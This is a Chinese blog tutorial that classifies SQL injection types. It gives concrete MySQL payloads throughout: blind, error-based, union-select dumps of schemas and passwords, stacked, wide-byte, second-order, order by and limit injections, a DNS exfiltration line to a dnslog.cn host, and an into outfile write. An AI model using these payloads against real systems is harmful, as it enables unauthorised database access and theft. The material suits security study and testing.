SQL注入分类详解

最新推荐文章于 2024-07-31 10:04:13 发布
最新推荐文章于 2024-07-31 10:04:13 发布
阅读量7.1k 收藏 52
点赞数 9
文章标签： sql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_39654116/article/details/105421499
版权

SQL注入

1.SQL简介

  • SQL 指结构化查询语言
  • SQL 使我们有能力访问数据库
  • SQL 是一种 ANSI 的标准计算机语言

注：ANSI，美国国家标准化组织

2.注入的形成

目前的web大多是前后端分离，在固定前端页面上，通过不同参数去调用数据中的内容，如果这个过程中我们拼接了恶意语句并且没有被过滤掉，那么数据库很有可能会执行我们的恶意语句，从而导致攻击者可以通过拼接恶意语句来达到操作数据库，获得数据库的敏感信息，产生极大的危害

例子

$sql = 'select * from test where id='.$_GET['id'];

假设这里没有任何的过滤，那么当我们输入2的时候语句为

select * from test where  id=2

当我们输入2 and 1=1的时候，发现页面页面正常回显，输入2 and 1=2的时候页面回显不正常

select * from test where  id=2 and 1=1   正常
select * from test where  id=2 and 1=2   回显不正常

很明显sql的查询语句把我们拼接的代码带入执行了，黑客可以通过拼接别的语句获取更多的信息，从而完成一次注入攻击

3.SQL注入的类型

3.1注入点类型分类

3.1.1数字型注入
当我们访问页面时经常会出现http:xxx.admin.com?id=1这种形式的url，这个时候我们输入and 1=1与and 1=2,进行判定看是否会出现and 1=1回显正常，and 1=2回显不正常的情况。如果出现了我们一般就认为这里存在注入，并且是数字型注入。如果没有出现那么并不能排查这里没有注入，只是排除这里不存在数字型的注入。

数字型注入还可以利用数字的增减操作进行布尔盲注，避免使用and，or 等敏感词

id=3-1
id=1%2b1

3.1.2字符型
http:xxx.admin.com?id=1同样的url，我们输入 ‘ 看是否会出现报错的现象。如果存在我们可以进一步的闭合我们的语句。

select * from table where id='1'

加入’ and 1=1 #

select * from table where id='1' and 1=1 # '

3.1.3搜索型注入
搜索框内会使用这样形式的sql语句进行查询

SELECT*from test where names like '%要查询的关键字%'

我们写入类型这样的语句进行闭合 %’ and 1=1 #

 SELECT*from test where names like '%要查询的关键字%' and 1=1 # % '

3.2按照数据提交方式

3.2.1get注入
数据以get的方式进行提交。注入点一般在get提交的url后，可以通过bp抓包进行查找

3.2.2post注入
数据以post的方式进行提交。注入点一般表单的填写处，如资料的填写等地方较为常见，可以通过bp抓包进行查找

3.2.3http头部注入
user-agent:判定用户使用的操作系统，以及使用的浏览器的版本
cookie:判定用户的身份，进行session跟踪可以存储在用户本地终端上的数据，简单理解为用户的一张身份辨别卡
x-forwarded-for:是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
client-ip: 数据库保存客户端IP的参数
rerferer:浏览器向web端表明自己从哪个连接而来
host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

3.3按照执行效果

3.3.1盲注

  • 特点：盲注在于无法构造出回显位时使用
  • 优点：优点是适配绝大部分注入点
  • 缺点：注入繁琐，费时费力，高频率对服务器发起访问也容易被ban。
  • 分类：布尔盲注，时间盲注，dnslog盲注

3.3.1.1布尔盲注
特点:以页面回显的内容的不同作为判定依据。

id=1 and 1=1

id=1 and 1=2

id=1 and user()=‘root@localhost’

id=1 and substr((select user()),1,1)= ‘r’

id=1 and ascii(substr((select
user()),1,1))= 114

3.3.1.2时间盲注
时间盲注，以回显的时间长短作为判断依旧

id=1 and sleep(2)

id=1 and if((substr((select user()),1,1)='r'),sleep(2),1)

3.3.1.3dnslog盲注

  • 特点:必须windows系统，必须root权限，必须secure_file_priv为空
id=2 and 1=(selectload_file(concat('\\\\',hex(database()),'.pk4qft.dnslog.cn\\test')))

3.3.2报错注入

  • 特点：经过精心构造的函数，让函数处理user()等不合规定的数据，引发mysql报错。最常用的是updatexml()
  • 优点：报错注入优点是注入位置广泛，几乎任何和数据库有关的操作经过sql拼接都可以产生报错注入，有回显位，获取数据方便。
  • 缺点：缺点是必须开启错误提示，mysqli_error()

关键函数：

1.floor
id=1 and 
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group
by x)a);

2.extractvalue()

id=1 and
(extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

id=1 and (updatexml(1,concat(0x7e,(select
user()),0x7e),1));

4.geometrycollection()

id=1 and geometrycollection((select *
from(select * from(select user())a)b));

5.multipoint()

id=1 and multipoint((select * from(select
* from(select user())a)b));

6.polygon()

id=1 and polygon((select * from(select *
from(select user())a)b));

7.multipolygon()

id=1 and multipolygon((select *
from(select * from(select user())a)b));

8.linestring()

id=1 and linestring((select * from(select
* from(select user())a)b));

9.multilinestring()

id=1 and multilinestring((select *
from(select * from(select user())a)b));

10.exp()

id=1 and exp(~(select * from(select
user())a));

3.3.3联合查询
特点：联合注入使用了union select联合查询，常用来拼接在where后面，并且通过报错的方式显示显位
优势：联合注入通过显位的方式可以快速的爆出数据
缺点：缺点是只能用在select最后处，后面如果还有sql语句就必须注释掉。并且必须用到union和select两个关键字，并且这两个关键字也很容易被拦截

关键函数：union select、group_concat

http://127.0.0.1/news.php?id=1

http://127.0.0.1/news.php?id=1 order by 4

http://127.0.0.1/news.php?id=-1 union
select 1,2,3,4

http://127.0.0.1/news.php?id=-1 union
select user(),2,3,4

sql语句为

select * from news where id = $id;

确定列数

select * from news where id = 1 order by
4

显示回显位

select * from news where id = -1 union
select 1,2,3,4

通过回显位爆出内容

select * from news where id = -1 union
select user(),2,3,4

进而爆库，表，列，值。

select * from news where id = -1 union
select database(),2,3,4

select * from news where id =
-1 union select group_concat(schema_name),2,3,4  from information_schema.schemata

select * from news where id =
-1 union select group_concat(table_name),2,3,4 from information_schema.tables
where table_schema=database()

select * from news where id =
-1 union select group_concat(table_name),2,3,4 from information_schema.tables
where table_schema=database()

select * from news where id =
-1 union select group_concat(column_name),2,3,4 from information_schema.columns
where table_name= 'user' and table_schema=database()

select * from news where id = -1 union
select group_concat(password),2,3,4 from user

3.3.4堆叠注入

特点:

  1. 堆叠注入在mysql数据库中并不常见，常见于mssql数据库，mssql数据库是默认堆叠注入的
  2. 堆叠注入必须要用到mysqli_multi_query()函数，可以使用分号分隔来执行多个语句，相当于可直连数据库
  3. 堆叠注入的危害性非常的大，通常sql注入有诸多限制，比如只能查不能增删改，不能更改数据库设置，而堆叠注入相当于获取了数据库密码进行直连，直接操作数据库

语句

id=1;select user();

3.3.5宽字节注入
特点：

  • 字符注入的时候我们需要逃逸单引号，但是php提供了魔术引号开关magic_quotes_gpc和addslashes()，iconv()函数作为防御，特点是自动给传入的参数如单引号，双引号，反斜杠，%00前面加一个反斜杠，进行转义，避免单引号进行逃逸
  • 如果数据库是GBK格式而非默认的UTF-8格式，则我们利用两个url编码是一个汉字的特点，组合一个汉字从而解决”\“问题，完成单引号的逃逸

语句

url编码

’   %27
\   %5c
%bf \'=%bf%5c%27=縗'

闭合过程

select * from user where id='$id';

Select * from user where id='1\'and 1=\'1';

Select * from user where id='1縗'and 1=縗'1' ;

注:%bf并不是唯一的一个字符，应该是%81-%FE之间的任意一个都可以,只要是可以跟我们的反斜杠%5c能够组成汉字，完成单引号逃逸的都是可以使用的

3.3.6二次注入
特点：sql语句的变量并不是直接传入的变量，而是通过其它的方式保存到了数据库，形成二次注入
例子：

比如注册一个用户名为 admin’ #的用户，注册时并无SQL注入，修改密码时的SQL语句为。

update user set password='$password' where username='admin' #'

导致越权修改了admin的密码。

3.4注入拼接位置
3.4.1where注入

select * from news where id = $id and data < '$data';

select * from news where id = 1 and 1=1 and data < 'test'and 1='1';

delete from user where id =$id;

delete from user where id =1 and 1=1;

3.4.2order by注入

select * from user order by $id;

select * from user order by 1 desc/asc

select * from user order by sleep(2);

select * from user order by rand(1=2);

select * from user order by updatexml(1,concat(0x7e,(select user()),0x7e),1);

3.4.3limit注入

select * from user limit $limit, $size

select * from user limit 1 into @,@,@,@;

select * from user limit 1 into outfile 'D://1.txt';

select * from user limit 1 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);

select * from user limit 1 procedure analyse(extractvalue(rand(),concat(0x3a,(IF(mid(user(),1,1)
LIKE 'r', BENCHMARK(5000000,SHA1(1)),1)))),1);

3.4.4values注入

insert into `test`.`log`(`log`) VALUES('$log');

insert into `test`.`log`(`log`) VALUES('testsetset'or sleep(5)) # ');

insert into `test`.`log`(`log`) VALUES('testsetset' and extractvalue(1,concat(0x7e,(select @@version),0x7e))) # ')

insert into `test`.`log`(`log`) VALUES('1'+if((1=1),sleep(2),1)) # ')

参考：
limit实例：https://blog.csdn.net/tian_ci/article/details/85700929
substr实例：https://www.runoob.com/php/func-string-substr.html
count函数：https://www.runoob.com/sql/sql-func-count.html
xtype:https://blog.csdn.net/qq_39654116/article/details/105438947

Rocky_x
关注
SQL注入(一)——基本分类
LSYZWF的博客
04-22 1110
文章目录SQL注入定义 SQL注入定义
SQL注入详解
L_longqihang的博客
04-15 583
SQL注入 原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。 根据相关技术原理，SQL注入可以分为平台层注入和代码层注入。平台层注入由不安全的数据库配置或数据库平台的漏洞所致；代码层主要是由于程序员对输入未进行细致地过滤...
SQL注入分类，一看你就明白了。SQL注入点/SQL注入类型/SQL注入有几种/SQL注入点分类
热门推荐
wangyuxiang946的博客
02-18 2万+
根据输入的「参数」类型，可以将SQL注入分为两大类：「数值型」注入、「字符型」注入。 根据数据的「提交方式」分类：GET注入、POST注入、Cookie注入、HTTP Header注入。 根据页面「是否回显」分类：显注、盲注。
SQL注入主要可以分为以下几种类型
最新发布
hljdengbaoceping的博客
07-31 443
3.布尔盲注：当SQL注入后服务器不直接返回查询结果，而是根据查询结果的真假影响页面的显示时（例如页面加载速度变化、特定内容的存在与否），攻击者通过构造带有布尔表达式的SQL语句，逐步推断出数据。2.联合查询注入：当原查询中使用了SELECT语句，并且错误信息返回时，攻击者可以通过UNION操作符将多个SELECT语句的结果合并，从而从其他表中提取敏感信息。1.基础注入：这是最直接的SQL注入形式，攻击者通过修改查询语句的某个参数，插入额外的SQL代码，改变原有查询逻辑，以达到非法获取数据的目的。
Sql注入的分类：数字型+字符型
weixin_30496431的博客
07-25 669
Sql注入： 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。通过构造恶意的输入，使数据库执行恶意命令，造成数据泄露或者修改内容等，以达到攻击的目的。主要是由于应用程序对用户的输入没有进行严格的过滤而造成的。 一、万能密码 在说sql注入分类之前，先来看一下万能密码的构成原理。万能密码是由于某些程序，通过采用判断sql语句查询...
SQL注入之注入分类
注定风是不羁旅人
12-06 632
1.什么是SQL注入？ 个人理解为，在平常用户与浏览器交互的过程中，通过某种方式将我们想要执行的非法sql命令，注入到服务器中，最终达到欺骗服务器执行恶意sql命令的目的。 2.注入分类 按照注入点类型进行分类 数字型注入点 字符型注入点 搜索型注入点 按照数据提交方式进行分类 GET注入 POST注入 Cookie注入 HTTP头注入 按照执行效果进行分类 基于布尔的盲注 基于时间的盲...
SQL注入的分类
公众号shadow sock7
11-09 3317
SQL注入可以绕过认证，对数据进行读、改、删。某些情况下可能造成执行命令的效果。 作为一种攻击方式，其本质原因在于后端接收了用户输入，并将其拼接到SQL语句中，造成了数据和指令的混淆。将本该是数据的地方注入了额外的指令，实现了攻击的效果。 SQL主要可以分为三类： 1、带内（In-band）SQLi，也叫经典SQLi 顾名思义，带内的意思就是攻击者可以在同一个信道里进行攻击，并且拿到结果。 最常见...
sql注入详解
m0_67392811的博客
06-12 6039
目录前言? ?一、漏洞原因分析二、漏洞危害三、sql注入防范四、如何挖掘sql注入漏洞五、常见的注入手法联合查询(union注入)报错注入基于布尔的盲注基于时间的盲注HTTP头注入宽字节注入堆叠查询二阶注入六、sql注入getshell的几种方式结构化查询语言（Structured Query Language，缩写：SQL），是一种特殊的编程语言，用于数据库中的标准数据查询语言。SQL注入（SQL Injection）是一种常见的Web安全漏洞，主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没
mybatis防止SQL注入的方法实例详解
08-27
MyBatis 防止 SQL 注入的方法实例详解 SQL 注入是一种简单的攻击手段，但直到今天仍然十分常见。MyBatis 作为一个流行的持久层框架，如何防止 SQL 注入呢？下面我们将详细介绍 MyBatis 防止 SQL 注入的方法实例详解...
Python中防止sql注入的方法详解
09-21
### Python中防止SQL注入的方法详解 #### 前言 SQL注入是一种常见的网络安全攻击手段，攻击者通过在输入数据中嵌入恶意SQL代码，利用应用程序的漏洞执行非法操作，如篡改、删除或检索敏感数据等。对于使用Python...
SQL注入详解（扫盲篇）
09-09
SQL注入是一种常见的网络安全威胁，它发生在web应用程序中，由于开发者未能正确过滤或验证用户输入的数据，使得攻击者能够向数据库提交恶意的SQL语句。在本文中，我们将深入理解SQL注入的基本概念、工作原理以及常见...
SQL注入分类与详解（转载）
weixin_30878361的博客
08-20 472
SQL注入分类与详解 原文地址：点击跳转 字数统计:11,729 字|阅读时长 ≈47 分钟 对SQL注入的大概分类总结，和一些基础的利用方法。 SQL注入是一种通过操纵输入来修改后台SQL语句以达到利用代码进行攻击的技术。 SQL注入产生的危害很多，比如后台用户及密码泄露、会员用户信息泄露、读写文件，甚至可以获得服务器权限。因此，SQL注入也是OWSP TOP ...
SQL注入分类介绍
weixin_45321483的博客
06-16 338
1、数字型注入 假设存在一条 URL 为： HTTP://www.aaa.com/test.php?id=1 1.可以对后台的 SQL 语句猜测为： SELECT * FROM table WHERE id=1 2.先在输入框中输入一个单引号 ' 这样的 SQL 语句就会变为： SELECT * FROM table WHERE id=1' 3.在输入框中输入 and 1 = 1 SQL语句变为： SELECT * FROM table WHERE id=1 and 1 = 1 ...
sql注入分类
weixin_33831673的博客
05-20 186
Sql注入根据数据提取通道的类型，从服务器接收到的响应等可以分为不同的类型. 基于从服务器接收到的响应 ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于错误的SQ...
SQl注入的分类
weixin_30852419的博客
07-01 152
注入的分类 1、基于从服务器上接到的响应 　　1.基于错误的SQL注入。 　　2.联合查询的类型。 　　3.堆查询注入。 　　4.SQL盲注。 　　　　基于时间的SQL注入。 　　　　基于布尔SQL盲注。 　　　　基于报错的SQL注入。 2.二次注入。 3.提交方式注入 　　get注入、post注入、cookie注入、http等........ 　　 　　 转载于:ht...
SQL注入分类，一看你就明白了。SQL注入点_SQL注入类型_SQL注入有几种_SQL注入点分类
Spontaneous_0的博客
12-28 1069
网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值